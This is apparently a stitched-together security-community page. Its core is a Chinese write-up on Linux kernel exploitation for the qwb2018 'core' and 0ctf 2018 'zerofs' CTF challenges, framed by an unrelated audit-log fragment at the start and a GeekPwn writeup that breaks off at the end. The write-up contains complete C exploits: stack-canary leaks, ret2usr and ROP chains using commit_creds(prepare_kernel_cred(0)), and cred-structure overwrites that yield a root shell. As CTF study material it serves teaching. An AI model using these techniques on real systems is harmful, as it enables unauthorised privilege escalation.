[1]处初始化一个临时的日志队列，[2]处判断`audit`日志队列是否为空，为空时就进入休眠状态，当再次被唤醒后，如果`audit`日志队列不为空，就将节点一个个取下来插入到临时队列里，同时判断`audit`日志队列长度在低水位线时，就要在[4]处通知`audit_commit`进行日志的补充。`Linux`的这部分操作没有使用临时队列，而是在持有锁的情况下进行队列节点的处理，而`freebsd`则是将节点插入临时队列后，马上释放锁，这样做做效率会更高些。
[6]处的`audit_worker_process_record`首先将日志转化为`BSM`格式后，通过调用`audit_record_write`将日志写入到磁盘文件里，然后调用`audit_send_trigger`，将日志信息同步到一个队列里，
这个队列是由`/dev/audit`进行操作，这样用户态程序可以通过读取`/dev/audit`获取到本次系统调用的日志内容。
* * * | 社区文章 |
**作者：lawhackzz@墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/VsGVvi_Vog1aKi0Cj9haGg>**
本篇文章主要针对内核栈溢出以及堆越界访问漏洞进行分析以及利用。
## **qwb2018 core**
题目链接：<https://pan.baidu.com/s/10te2a1LTZCiNi19_MzGmJg> 密码：ldiy
解压官方给的tar包，可以看到如下4个文件：
其中`start.sh`是qemu的启动脚本，这里将`-m`参数修改为512M，否则本地无法正常启动，同时为了便于调试，需要解包core.cpio并修改其中的init文件，将`poweroff`的指令删除，让内核不在定时关闭。`init`文件内容如下：
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
基本可以确认存在漏洞的模块为`core.ko`，而开启的`kptr_restrict`、`dmesg_restrict`则缓解了内核信息的泄露，卸载了`/proc`、`/sys`这两个目录，进一步阻止用户查看内核信息。查看start.sh可知内核开启了kaslr。注意到`cat
/proc/kallsyms >
/tmp/kallsyms`这条命令，相当于可以从`/tmp/kallsyms`读取部分内核符号信息，这样便于后面编写提权的shellcode。
解包core.cpio后，查看core.ko开启的防护如下：
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
开启了NX以及stack canary，利用ghidra打开`core.ko`，查看它的函数如下：
初始化函数如下：
undefined8 init_module(void)
{
core_proc = proc_create(&DAT_001002fd,0x1b6,0,core_fops);
printk(&DAT_00100302);
return 0;
}
其中core_fops是内核的`file_operations`结构，跟进去查看发现其实现了自定义的`write`、`ioctl`、`release`函数，其中`ioctl`函数内部调用了`core_read`、`core_copy_func`等功能，如下：
undefined8 core_ioctl(undefined8 param_1,int param_2,ulong param_3)
{
if (param_2 == 0x6677889b) {
core_read(param_3);
}
else {
if (param_2 == 0x6677889c) {
printk(&DAT_001002f1,param_3);
off = param_3;
}
else {
if (param_2 == 0x6677889a) {
printk(&DAT_001002d7);
core_copy_func(param_3);
}
}
}
return 0;
}
这里由于之前开启的内核策略导致`printfk`输出的内容无法通过`dmesg`获取，查看core_read函数如下：
void core_read(undefined8 param_1)
{
long lVar1;
undefined4 *puVar2;
long in_GS_OFFSET;
byte bVar3;
undefined4 auStack80 [16];
long local_10;
bVar3 = 0;
local_10 = *(long *)(in_GS_OFFSET + 0x28);
printk(&DAT_0010027f);
printk(&DAT_00100299,off,param_1);
lVar1 = 0x10;
puVar2 = auStack80;
while (lVar1 != 0) {
lVar1 = lVar1 + -1;
*puVar2 = 0;
puVar2 = puVar2 + (ulong)bVar3 * -2 + 1;
}
strcpy((char *)auStack80,"Welcome to the QWB CTF challenge.\n");
lVar1 = _copy_to_user(param_1,(long)auStack80 + off,0x40);//全局变量off可控
if (lVar1 != 0) {
swapgs();
return;
}
if (local_10 != *(long *)(in_GS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
由于可以通过`ioctl`控制off这个全局变量，因此可以控制返回给用户的内容为内核栈上特定偏移的数据，这里可以用来泄露栈`cookie`值，通过如下代码可以打印泄露的`cookie`以及`函数返回地址`:
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
int main(int argc,char* argv[])
{
int fd1 = open("/proc/core",O_RDWR);
unsigned long long buf[0x1000];
memset(buf,'a',0x200);
int off=0;
if(argc>1)
{
off=strtol(argv[1],NULL,10);
}
printf("fd is %d\n",fd1);
ioctl(fd1,0x6677889C,off);
ioctl(fd1,0x6677889B,buf);
for(int i =0;i<4;i++)
{
for(int m=0;m<4;m++)
{
printf("%016llx ",buf[i*4+m]);
}
printf("\n");
}
return 0;
}
结果如下：
/ $ ./poc 64
fd is 3
5d2043a60145af00 00007ffe2b41ecf0 ffffffffc03cc19b ffff96afda3efe40
ffffffffa19dd6d1 000000000000889b ffff96afdf80fb00 ffffffffa198ecfa
6161616161616161 6161616161616161 6161616161616161 6161616161616161
此时的`5d2043a60145af00`即为当前内核栈上的cookie值，可用来后续的内核rop。查看`core_write`函数:
undefined [16] core_write(undefined8 param_1,undefined8 param_2,ulong param_3)
{
ulong uVar1;
long lVar2;
printk(&DAT_00100239);
if (param_3 < 0x801) {
lVar2 = _copy_from_user(name,param_2,param_3);
if (lVar2 == 0) {
uVar1 = param_3 & 0xffffffff;
goto LAB_00100084;
}
}
printk(&DAT_00100254);
uVar1 = 0xfffffff2;
LAB_00100084:
return CONCAT88(param_2,uVar1);
}
这里可以控制name全局变量的内容。查看core_copy_func函数，如下：
undefined8 core_copy_func(ulong param_1)
{
undefined8 uVar1;
ulong uVar2;
undefined1 *puVar3;
undefined *puVar4;
long in_GS_OFFSET;
byte bVar5;
undefined auStack80 [64];
long local_10;
bVar5 = 0;
local_10 = *(long *)(in_GS_OFFSET + 0x28);
printk(&DAT_00100239);
if ((long)param_1 < 0x40) {
uVar2 = param_1 & 0xffff;
uVar1 = 0;
puVar3 = name;
puVar4 = auStack80;
while (uVar2 != 0) {
uVar2 = uVar2 - 1;
*puVar4 = *puVar3;
puVar3 = puVar3 + (ulong)bVar5 * -2 + 1;
puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
}
}
else {
printk(&DAT_001002c5);
uVar1 = 0xffffffff;
}
if (local_10 == *(long *)(in_GS_OFFSET + 0x28)) {
return uVar1;
} /* WARNING: Subroutine does not return */
__stack_chk_fail();
}
虽然有参数检测，但是存在有符号对比问题，当传入的参数为负数时，即可绕过对长度的检测，将name全局变量的内容拷贝到栈上，造成栈溢出，接下来就需要考虑如何进行rop了。
### **方法1**
首先我们需要将`rip`覆盖为我们的执行shellcode函数的地址，这样当函数`core_copy_func`返回时便会执行我们的shellcode，同时为了不破坏栈上的其它数据，我们选择大小为0x58的shellcode，这样刚好仅仅覆盖了返回地址。在我们shellcode内部则会执行`commit_creds(prepare_kernel_cred(0))`这两个函数，函数成功执行后此时已经程序已经拥有了root权限，为了让内核继续完好的执行，我们选择在这两个函数执行完毕后修复栈帧，同时跳转到本来应该返回的内核函数位置，即`core.ko+0x191`，这个返回地址通过前面的信息泄露可以拿到。完整的exp如下：
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
typedef unsigned long long u64;
u64 prepare_kernel_cred;
u64 commit_creds;
u64 ret_addr;
u64 readkerneladdr(char* command)
{
FILE *fp;
u64 kaddr;
char buffer[80];
char* retbuf;
fp=popen(command, "r");
fgets(buffer,sizeof(buffer),fp);
retbuf = strstr(buffer," ");
int addrlen = retbuf-buffer;
memset(buffer+addrlen,0,10);
kaddr = strtoul(buffer,NULL,16);
return kaddr;
}
void poc1_shellcode()
{
int*(*userPrepare_kernel_cred)(int) = prepare_kernel_cred;
void*(*userCommit_cred)(int*) = commit_creds;
(*userCommit_cred)((*userPrepare_kernel_cred)(0));
asm("mov %rbp,%rsp"); //修复栈帧
asm("pop %rbp");
asm("mov %0,%%rax; \ //跳转回内核函数地址
jmp %%rax;"
:
:"r"(ret_addr)
:"%rax");
}
int main(int argc,char* argv[])
{
int fd1 = open("/proc/core",O_RDWR);
prepare_kernel_cred = readkerneladdr("cat /tmp/kallsyms|grep prepare_kernel_cred");
commit_creds = readkerneladdr("cat /tmp/kallsyms|grep commit_creds");
u64 buf[0x1000];
memset(buf,'a',0x200);
int off=64;
if(argc>1)
{
off=strtol(argv[1],NULL,10);
}
printf("fd is %d\n",fd1);
ioctl(fd1,0x6677889C,off);
ioctl(fd1,0x6677889B,buf);
u64 canary = buf[0];
ret_addr = buf[2];
u64 poc[0x100]={
0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,canary,0,&poc1_shellcode
};
write(fd1,poc,0x100);
ioctl(fd1,0x6677889A,0xf000000000000058);
system("/bin/sh");
return 0;
}
成功执行后如下：
这样做的好处是不需要特地去找gadgets，但是这样做的前提是内核没有开启`smep`、`smap`等防护措施，在开启这些防护措施后，内核层是无法直接执行用户层代码的。如果开启了`smep`、`smap`则会产生如下错误：
因此还有更加通用的做法，就是通过构造一条完整的rop链来实现提权并返回到用户层。区别于当前的操作就是在整个执行过程中是不会跳转回用户层的代码的，所有提权函数的调用均通过栈上的数据控制，在执行提权函数后通过`iret`指令返回用户层空间。
### **方法2**
为了绕过`smep`、`smap`等防护措施，需要构造完整的rop链，需要查找内核映像中可用的gadgets，这里使用`ropper`来dump整个内核可用的gadgets。需要注意的是链接中给出的vmlinux和实际的bzImage的地址并不匹配，因此需要通过extract-vmlinunx脚本来将bzImage中的内核可执行文件dump出来，用法如下：
extract-vmlinux ./bzImage > vmlinux
接下来通过ropper提取vmlinux中可用的gadgets，用法如下：
ropper --file ./vmlinx --nocolor > gadgets
寻找`pop rdi,ret`，`mov rdi, rax`，`iret`，`swapgs`等指令，如下：
.text:FFFFFFFF81126515 pop rdi
.text:FFFFFFFF81126516 retn
.text:FFFFFFFF8186EB33 pop rcx
.text:FFFFFFFF8186EB34 retn
.text:FFFFFFFF81623D0B mov rdi, rax
.text:FFFFFFFF81623D0E call rcx
.text:FFFFFFFF810A0F49 pop rdx
.text:FFFFFFFF810A0F4A retn
.text:FFFFFFFF81A012DA swapgs
.text:FFFFFFFF81A012DD popfq
.text:FFFFFFFF81A012DE retn
.text:FFFFFFFF81050AC2 iretq
需要构造的rop链为
执行prepare_kernel_cred(0)
将prepare_kernel_cred的执行结果赋值给rdi
执行commit_creds
执行swapgs
执行iret
完整exp如下：
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
typedef unsigned long long u64;
u64 prepare_kernel_cred;
u64 commit_creds;
u64 ret_addr;
u64 user_cs,user_rflags,user_ss,user_sp;
u64 readkerneladdr(char* command)
{
FILE *fp;
u64 kaddr;
char buffer[80];
char* retbuf;
fp=popen(command, "r");
fgets(buffer,sizeof(buffer),fp);
retbuf = strstr(buffer," ");
int addrlen = retbuf-buffer;
memset(buffer+addrlen,0,10);
kaddr = strtoul(buffer,NULL,16);
return kaddr;
}
void execshell()
{
system("/bin/sh");
}
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
int main(int argc,char* argv[])
{
int fd1 = open("/proc/core",O_RDWR);
prepare_kernel_cred = readkerneladdr("cat /tmp/kallsyms|grep prepare_kernel_cred");
commit_creds = readkerneladdr("cat /tmp/kallsyms|grep commit_creds");
u64 buf[0x1000];
memset(buf,'a',0x200);
int off=64;
if(argc>1)
{
off=strtol(argv[1],NULL,10);
}
printf("fd is %d\n",fd1);
ioctl(fd1,0x6677889C,off);
ioctl(fd1,0x6677889B,buf);
u64 canary = buf[0];
ret_addr = buf[2];
u64 kernelbase = prepare_kernel_cred-0x9cce0;
u64 kerneloff =0xFFFFFFFF81000000- kernelbase;
save_status();
u64 Rop[0x100]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,canary,0,\
0xFFFFFFFF81126515-kerneloff,\ //pop rdi,ret
0,\
prepare_kernel_cred,\
0xFFFFFFFF8186EB33-kerneloff,\ //pop rcx,ret
0xFFFFFFFF810A0F49-kerneloff,\ //pop rdx,ret
0xFFFFFFFF81623D0B-kerneloff,\ //mov rdi,rax,call rcx
commit_creds,\
0xffffffff81a012da-kerneloff,\ //swapgs,popfq,ret
0,\
0xFFFFFFFF81050AC2-kerneloff,\ //iret
&execshell,\ //ret ip
user_cs,\
user_rflags,\
user_sp,\
user_ss
};
write(fd1,Rop,0x100);
ioctl(fd1,0x6677889a,0xf0000000000000e0);
return 0;
}
修改`start.sh`如下:
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
-cpu qemu64,+smep,+smap\
执行poc后效果如下：
## **2018 0ctf-zerofs**
题目连接：<https://drive.google.com/file/d/1GlCwZeJ2JW8zqVONxy7rphg9Mk6kF6F6/view?usp=sharing>
解包得到如下内容：
admins@admins-virtual-machine:~/kernel/exercise/zerofs/public$ ls -alh
total 11M
drwxrwxr-x 2 admins admins 4.0K 12月 22 17:21 .
drwxrwxr-x 5 admins admins 4.0K 12月 22 17:22 ..
-rw-r--r-- 1 admins admins 6.9M 3月 29 2018 bzImage
-rw-rw-r-- 1 admins admins 3.1M 3月 30 2018 rootfs.cpio
-rwxrwxr-x 1 admins admins 241 12月 22 17:21 run.sh
-rw-r--r-- 1 admins admins 320K 3月 29 2018 zerofs.ko
run.sh脚本如下：
qemu-system-x86_64 -enable-kvm -s -cpu kvm64,+smep,+smap -m 512M -kernel ./bzImage -initrd ./rootfs.cpio -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" -monitor /dev/null -nographic 2>/dev/null
开启了smep、smap以及kaslr，解包rootfs.cpio，init文件如下：
#!/bin/sh
mknod -m 0666 /dev/null c 1 3
mknod -m 0660 /dev/ttyS0 c 4 64
mount -t proc proc /proc
mount -t sysfs sysfs /sys
cat /root/signature
echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
insmod /zerofs.ko
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -f
开启kptr_restrict以及dmesg_restrict，无法查看内核函数地址，
存在问题的内核模块为zerofs.ko，开启安全策略如下：
这是个内核文件系统模块，题目提示通过mount挂载文件，查看其主要逻辑，
undefined8 main(void)
{
undefined8 local_10;
setresuid(0,0,0);
local_4c = fork();
if (local_4c == 0) {
local_48 = "mount";
local_40 = "-o";
local_38 = "loop";
local_30 = "-t";
local_28 = "zerofs";
local_20 = "/tmp/zerofs.img";
local_18 = "/mnt";
local_10 = 0;
execvp("/bin/mount",&local_48);
}
waitpid(local_4c,&local_50,0);
local_4c = fork();
if (local_4c == 0) {
local_48 = "chown";
local_40 = "-R";
local_38 = "1000.1000";
local_30 = "/mnt";
local_28 = (char *)0x0;
execvp("/bin/chown",&local_48);
}
waitpid(local_4c,&local_50,0);
local_4c = fork();
if (local_4c == 0) {
local_48 = "chmod";
local_40 = "-R";
local_38 = "a+rwx";
local_30 = "/mnt";
local_28 = (char *)0x0;
execvp("/bin/chmod",&local_48);
}
waitpid(local_4c,&local_50,0);
return 0;
}
先是提升权限，然后调用了`/bin/mount` 并配有参数`-o loop -t zerofs /tmp/zerofs.img
/mnt`，可以看出主要通过mount将tmp目录下的文件zerofs.img挂载到/mnt目录，后续对挂载文件的读写会触发zerofs.ko中的回调函数。
## **linux文件系统基本概念**
为了对文件系统进行统一管理，linux将文件系统分为两层虚拟文件系统、具体文件系统：
具体文件系统依照vfs定义好的数据结构将读写文件相关的操作进行导出，由vfs进行统一管理，方便由用户层通过统一的接口即`open`、`read`、`write`等函数对文件进行操作，对用户来说，具体文件系统是透明的，能感知到的是虚拟文件系统。传统文件系统在磁盘中的布局一般如下:
一些基本概念如下：
1. 超级块（磁盘中的超级块）用来存储文件系统的详细信息，比如块个数、块大小、空闲块等等
2. inode（索引节点区）用来存储索引节点 ,每个inode都有一个号码，操作系统用inode号码来识别不同的文件
3. dentry (目录项) 保存了文件名和inode的映射,便于加速查找文件
4. 数据块区 用来存储文件或目录数据
接下来看下zerofs内核模块的实现,查看`zerofs.ko`模块，初始化代码如下：
int zerofs_init(void)
{
int iVar1;
__fentry__();
zerofs_inode_cachep = (kmem_cache *)kmem_cache_create("zerofs_inode_cache",0x20,0,0x120000,0);
if (zerofs_inode_cachep != (kmem_cache *)0x0) {
iVar1 = register_filesystem(&zerofs_type); //注册文件系统
return iVar1;
}
return -0xc;
}
这里向通过`register_filesystem`函数像内核注册了一个文件系统，当然仅仅注册是无法访问该文件系统的，需要通过`mount`将对应的文件系统安装到设备上才能进行访问。
查看`register_filesystem`源码可知，该函数主要功能是将注册的文件系统添加到全局变量`file_systems`链表中。其中`zerofs_type`是`file_system_type`类型的结构体，如下：
struct file_system_type {
const char *name;
int fs_flags;
struct dentry *(*mount) (struct file_system_type *, int,
const char *, void *);
void (*kill_sb) (struct super_block *);
struct module *owner;
struct file_system_type * next;
...}
其中第三个参数就是它挂载时会调用的回调函数，在用户层挂载特定类型的文件系统时最终都会转发到对应内核模块的`mount`函数，查看`mount`函数如下：
dentry * zerofs_mount(file_system_type *fs_type,int flags,char *dev_name,void *data)
{
dentry *extraout_RAX;
undefined extraout_DL;
undefined uVar1;
uVar1 = SUB81(fs_type,0);
__fentry__(uVar1,flags,(char)dev_name);
mount_bdev(uVar1,(char)flags,extraout_DL,zerofs_fill_super);
return extraout_RAX;
}
调用了`mount_bdev`函数，查看源码可知，该函数主要通过传入的dev_name获取对应的块设备，接着从块设备中获取对应的超级块（super_block）,如果根节点为空，说明没有初始化，则调用第五个参数作为函数来初始化超级块。
if (s->s_root) {
if ((flags ^ s->s_flags) & SB_RDONLY) {
deactivate_locked_super(s);
error = -EBUSY;
goto error_bdev;
}
up_write(&s->s_umount);
blkdev_put(bdev, mode);
down_write(&s->s_umount);
} else {
s->s_mode = mode;
snprintf(s->s_id, sizeof(s->s_id), "%pg", bdev);
sb_set_blocksize(s, block_size(bdev));
error = fill_super(s, data, flags & SB_SILENT ? 1 : 0); //调用对应内核函数进行超级块的填充
if (error) {
deactivate_locked_super(s);
goto error;
}
s->s_flags |= SB_ACTIVE;
bdev->bd_super = s;
}
zerofs文件系统中的`fs_flag`为`FS_REQUIRES_DEV`，类似于`ext2`、`ext4`等文件系统，挂载时需要物理设备作为输入，而默认的mount执行的参数中有`-o
loop`，即将输入文件作为硬盘分区挂接到系统上，类似于光盘文件的挂载。一般来说，我们可以通过命令`dd bs=4096 count=100
if=/dev/zero of=image`创建一个空白文件，然后通过`mkfs.ext2
image`将ext2的文件系统格式写入到image中，然后通过`mount -t ext2 ./image
/mnt`将它挂载到`/mnt`目录下，这里我们只能自己手动创建对应的zerofs文件系统。这里在逆向分析程序时存在如下问题：
后面尝试在自己编译的linux上安装模块时出现如下问题：
在经过一番搜索后发现内核以及模块可能使用了`rand_struct`这个gcc插件对特定的结构体进行了变量重排，也就是说改变了部分变量在结构体内部的内存偏移，此时在逆向分析时ghidra所识别的结构体偏移是无效的，同时也无法在有符号的内核上进行安装调试。
在后续分析过程中,看到有资料说该模块可能由simplefs改写，因此可以查看源码对比二进制实现来更方便理解模块的各项功能。对比源码中的`fill_super`函数进行注释，如下：
int zerofs_fill_super(super_block *sb,void *data,int silent)
{
astruct *superblock;
long lVar1;
undefined8 uVar2;
zerofs_inode *pzVar3;
list_head *plVar4;
undefined4 in_register_00000014;
undefined8 uVar5;
uint uVar6;
undefined auVar7 [16];
xattr_handler **userdata;
__fentry__(sb,data,CONCAT44(in_register_00000014,silent));
/* 获取第一块数据作为超级块结构 */
superblock = (astruct *)
__bread_gfp((sb->s_writers).rw_sem[2].writer.task,0,*(undefined4 *)&sb->field_0x578,8
);
if (superblock != (astruct *)0x0) {
userdata = superblock->data;
/* 判断超级块的前24字节是否符合zerofs定义 */
if (((*userdata == (xattr_handler *)0x4f52455a) &&
(userdata[1] == (xattr_handler *)0x1000)) &&
(userdata[2] < (xattr_handler *)0x41)) {
/* sb->s_magic */
(sb->s_writers).rw_sem[2].rw_sem.wait_list.prev = (list_head *)0x4f52455a;
/* sb->s_fsinfo */
sb->s_xattr = userdata;
/* sb->s_maxbytes */
(sb->rcu).next = (callback_head *)0x1000;
/* sb->s_op */
sb->s_cop = (fscrypt_operations *)&zerofs_sops;
lVar1 = new_inode(sb);
*(undefined8 *)(lVar1 + 400) = 1;
inode_init_owner(lVar1,0,0x4000);
*(super_block **)(lVar1 + 600) = sb;
*(inode_operations **)(lVar1 + 0x118) = &zerofs_inode_ops;
*(file_operations **)(lVar1 + 0x30) = &zerofs_dir_ops;
auVar7 = current_time(lVar1);
uVar5 = SUB168(auVar7 >> 0x40,0);
uVar2 = SUB168(auVar7,0);
*(undefined8 *)(lVar1 + 0x148) = uVar5;
*(undefined8 *)(lVar1 + 0x18) = uVar5;
*(undefined8 *)(lVar1 + 0xa8) = uVar5;
*(undefined8 *)(lVar1 + 0x140) = uVar2;
*(undefined8 *)(lVar1 + 0x10) = uVar2;
*(undefined8 *)(lVar1 + 0xa0) = uVar2;
pzVar3 = zerofs_get_inode(sb,1);
*(zerofs_inode **)(lVar1 + 0x168) = pzVar3;
plVar4 = (list_head *)d_make_root(lVar1);
(sb->s_writers).rw_sem[2].rw_sem.wait_list.next = plVar4;
uVar6 = -(uint)(plVar4 == (list_head *)0x0) & 0xfffffff4;
}
else {
uVar6 = 0xffffffea;
}
__brelse(superblock);
return (int)uVar6;
}
do {
invalidInstructionException();
} while( true );
}
结合simplefs可以判断出zerofs的基本块大小为0x1000,第1块内容为super_block，第二块内容为inode索引块，后面的为数据块。
inode结构如下：
struct inode{
int inode_number;
int block_number;
int mode;
union {
uint64_t file_size;
uint64_t dir_children_count;
};
}
参考`mkfs-simplefs`可以构造出一个基本的符合挂载条件的zerofs文件系统。在构造过程中发现了`zerofs_lookup`的一个空指针解引用漏洞，代码如下：
经过研究发现无法利用，查看zerofs关于文件读写的函数，发现在文件读写过程中均存在漏洞，读文件如下：
可以看出，只要控制文件大小为-1，并在读取文件时设置好偏移，就可以实现内核地址越界读。文件写操作如下：
没有对当前文件的大小以及要写的偏移做判断，因此通过设置好文件偏移可以直接造成内核地址越界写。
现在我们拥有了内核地址越界读写的能力，接下来就是寻找内核提权的方式，上一篇文章中也提过除了通过调用`commit_creds(prepare_kernel_cred(0))`来实现提权，还可以通过定位进程中的`cred`结构并将对应的数据uid-fsgid全部置0的方式来提升程序权限。cred部分结构如下：
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security managemen
由于当前有了内核越界读的能力，可以通过遍历内核地址数据来查找符合当前进程的cred结构内容，因为是普通用户权限，所以cred中的uid、gid、suid等数值都是1000，因此可以通过判断内存中连续3个32位整型的数值是否都是1000来定位cred结构。但是由于该内核编译时用了randstruct插件，破坏了部分结构体内部的变量排序，因此我们这边通过调试的方式定位cred结构中uid等变量的结构体偏移。通过中断函数`prepare_creds`
，观测到cred结构内容如下：
gef➤ x /80wx $rsi
0xffff95713f8a9300: 0xffffffff 0x0000003f 0x000003e8 0x00000003
0xffff95713f8a9310: 0x00000000 0x00000000 0x3faa1080 0xffff9571
0xffff95713f8a9320: 0x000003e8 0x000003e8 0x00000000 0x00000000
0xffff95713f8a9330: 0x00000000 0x00000000 0x000003e8 0x00000000
0xffff95713f8a9340: 0x00000000 0x00000000 0x00000000 0x00000000
0xffff95713f8a9350: 0x3f813630 0xffff9571 0x00000000 0x00000000
0xffff95713f8a9360: 0x00000000 0x00000000 0x000003e8 0x000003e8
0xffff95713f8a9370: 0x00000000 0x00000000 0x00000000 0x00000000
0xffff95713f8a9380: 0xb2c50660 0xffffffff 0x00000000 0x00000000
0xffff95713f8a9390: 0x000003e8 0x00000000 0x00000000 0x00000000
0xffff95713f8a93a0: 0x00000000 0x000003e8 0x00000000 0x00000000
0xffff95713f8a93b0: 0x00000025 0x80000000 0x00000000 0x00000000
可以看到凡是为0x3e8即1000的基本都是对应的id值，同样可以通过函数_sys_getgid等来判断cred中的变量偏移，如下：
.text:FFFFFFFF81094970 sub_FFFFFFFF81094970 proc near ; CODE XREF: sub_FFFFFFFF81003960+54↑p
.text:FFFFFFFF81094970 ; sub_FFFFFFFF81003A25+4B↑p ...
.text:FFFFFFFF81094970 call nullsub_1
.text:FFFFFFFF81094975 push rbp
.text:FFFFFFFF81094976 mov rax, gs:off_D300
.text:FFFFFFFF8109497F mov rax, [rax+0B38h]
.text:FFFFFFFF81094986 mov rbp, rsp
.text:FFFFFFFF81094989 mov esi, [rax+6Ch]//gid
.text:FFFFFFFF8109498C mov rdi, [rax+80h]
.text:FFFFFFFF81094993 call sub_FFFFFFFF8112A300
.text:FFFFFFFF81094998 pop rbp
.text:FFFFFFFF81094999 mov eax, eax
.text:FFFFFFFF8109499B retn
.text:FFFFFFFF8109499B sub_FFFFFFFF81094970 endp
其中cred+0x6c处的值为gid，那么在定位cred结构体时就可以通过找到的偏移来对比。当找到第一个id为0x3e8时，剩下的id值偏移如下：6、7、12、24、25、34、39，将对应偏移的内容置0即可完成权限提升。由于我们先通过`mount`指令挂载文件系统，而后创建poc进程，因此poc进程的cred结构大概率来说是位于我们控制的越界读写的内核地址后面，所以直接从控制的内核地址向后不断搜索即可。
创建zerofs文件系统的脚本如下：
from pwn import *
zerofs_block0 = p64(0x4F52455A)+p64(0x1000)+p64(0x3)+p64(0)
zerofs_block0 = zerofs_block0.ljust(0x1000,b"\x00")
inode_block1 = p64(0x1)+p64(0x2)+p64(0x4000)+p64(1)
inode_block1 +=p64(0x2)+p64(0x3)+p64(0x8000)+p64(0xffffffffffffffff)
inode_block1 = inode_block1.ljust(0x1000,b"\x00")
zerofs_block2 = b"test".ljust(256,b"\x00")
zerofs_block2 += p64(2)
zerofs_block2 = zerofs_block2.ljust(0x1000,b"\x00")
zerofs_block3 = b"a"*0x1000
block = zerofs_block0+inode_block1+zerofs_block2+zerofs_block3
fimage = open("./tmp/zerofs.img","wb")
fimage.write(block)
fimage.close()
exp如下：
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <assert.h>
#include <sys/mman.h>
int current_uid = 0x3e8;
int search_modify(int* buf)
{
for(int i=0;i<0x10000/4-12;i++)
{
if(buf[i]==current_uid && buf[i+6]==current_uid&& buf[i+7]==current_uid &&buf[i+12]==current_uid && buf[i+24]==current_uid && buf[i+25]==current_uid&& buf[i+34]==current_uid && buf[i+39]==current_uid)
{
printf("find cred\n);
buf[i]=0;
buf[i+6]=0;
buf[i+7]=0;
buf[i+12]=0;
buf[i+24]=0;
buf[i+25]=0;
buf[i+34]=0;
buf[i+39]=0;
return 1;
}
}
return 0;
}
int main(int argc,char*argv[])
{
int fd1 = open("/mnt/test",O_RDWR);
if(fd1==-1)
{
printf("fd is -1\n");
exit(0);
}
printf("fd is %d\n",fd1);
int buflen=0x10000;
int buf[0x10000/4]={0};
int idx=0;
int beginidx;
printf("begin search\n");
if(argc>=2)
idx=strtol(argv[1],NULL,10);
beginidx=idx;
for (idx;idx<=beginidx+0x10000;idx++)
{
lseek(fd1,idx*buflen,SEEK_SET);
read(fd1,buf,buflen);
if(search_modify(buf))
{
printf("final idx is %d\n",idx);
lseek(fd1,idx*buflen,SEEK_SET);
write(fd1,buf,buflen);
if(getuid()!=0)
{
printf("current uid is %d\n",getuid());
exit(0);
}
else{
system("/bin/sh");
return 0;
}
}
}
return 0;
}
提权结果如下：
实测过程中发现偶尔会将其它进程的cred修改为root权限（比如最初的shell进程sh，此时同样可以读取root权限的flag），因此如果发现当前进程没有被修改为root权限，则可以根据最终的idx变量进行调整，将其作为程序输入参数重新搜索进程cred结构，多次测试即可成功，如下：
这里在尝试通过heap
spray的方式进行漏洞利用时，没有找到合适的内核结构进行堆喷射，目的的是泄露特定函数地址并对特定结构体进行定位，在后续中会对linux kernel
spray利用方式进行研究。
**reference:**
1. <https://www.eet-china.com/mp/a38145.html>
2. <https://blog.eadom.net/writeups/0ctf-2018-zerofs-writeup/>
* * * | 社区文章 |
# 【CTF 攻略】极棒GeekPwn工控CTF Writeup
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[FlappyPig](http://bobao.360.cn/member/contribute?uid=1184812799)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**写在前面：**
****
这次的卡巴斯基主办的工控CTF乐趣和槽点都非常的多，两个主办方小哥都非常的帅。但是有一个小哥的英语带着浓浓的俄罗斯风格，想听懂他的意思要听好几遍..
整个工控CTF模拟渗透某工业企业的内网，从Wifi入手。
简单来说，就是开局给你一个wifi和一个U盘，其他全靠猜…
**0x01# RShell.dmp**
****
